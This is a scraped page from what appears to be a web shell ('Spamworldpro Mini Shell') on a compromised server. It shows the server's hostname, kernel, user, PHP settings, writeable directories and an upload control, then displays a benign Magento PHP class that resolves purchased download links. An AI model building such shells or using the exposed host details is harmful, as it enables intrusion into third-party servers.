Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/vendor/magento/module-downloadable/Model/Sales/Order/Link/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/vendor/magento/module-downloadable/Model/Sales/Order/Link/Purchased.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Downloadable\Model\Sales\Order\Link;

use Magento\Downloadable\Model\Link\Purchased as PurchasedEntity;
use Magento\Downloadable\Model\Link\PurchasedFactory;
use Magento\Downloadable\Model\Product\Type;
use Magento\Downloadable\Model\ResourceModel\Link\Purchased\Item\CollectionFactory;
use Magento\Framework\DataObject;

/**
 * Order purchased link resolver
 */
class Purchased
{
    /**
     * @var PurchasedFactory
     */
    private $linkPurchasedFactory;
    /**
     * @var CollectionFactory
     */
    private $linkPurchasedItemCollectionFactory;

    /**
     * @param PurchasedFactory $linkPurchasedFactory
     * @param CollectionFactory $linkPurchasedItemCollectionFactory
     */
    public function __construct(
        PurchasedFactory $linkPurchasedFactory,
        CollectionFactory $linkPurchasedItemCollectionFactory
    ) {
        $this->linkPurchasedFactory = $linkPurchasedFactory;
        $this->linkPurchasedItemCollectionFactory = $linkPurchasedItemCollectionFactory;
    }

    /**
     * Get order purchased link
     *
     * @param DataObject $item
     * @return PurchasedEntity
     */
    public function getLink(DataObject $item): PurchasedEntity
    {
        if ($item->getOrderItem()) {
            $item = $item->getOrderItem();
        }

        if ($item->getProductType() !== Type::TYPE_DOWNLOADABLE) {
            $childrenItems = $item->getChildrenItems() ?: [];
            if (count($childrenItems) === 1) {
                $childItem = reset($childrenItems);
                if ($childItem->getProductType() == Type::TYPE_DOWNLOADABLE) {
                    $item = $childItem;
                }
            }
        }
        $itemId = $item->getId();

        $purchased = $this->linkPurchasedFactory->create()
            ->load($itemId, 'order_item_id');
        $purchasedLinks = $this->linkPurchasedItemCollectionFactory->create()
            ->addFieldToFilter('order_item_id', $itemId);
        $purchased->setPurchasedItems($purchasedLinks);

        return $purchased;
    }
}

Spamworldpro Mini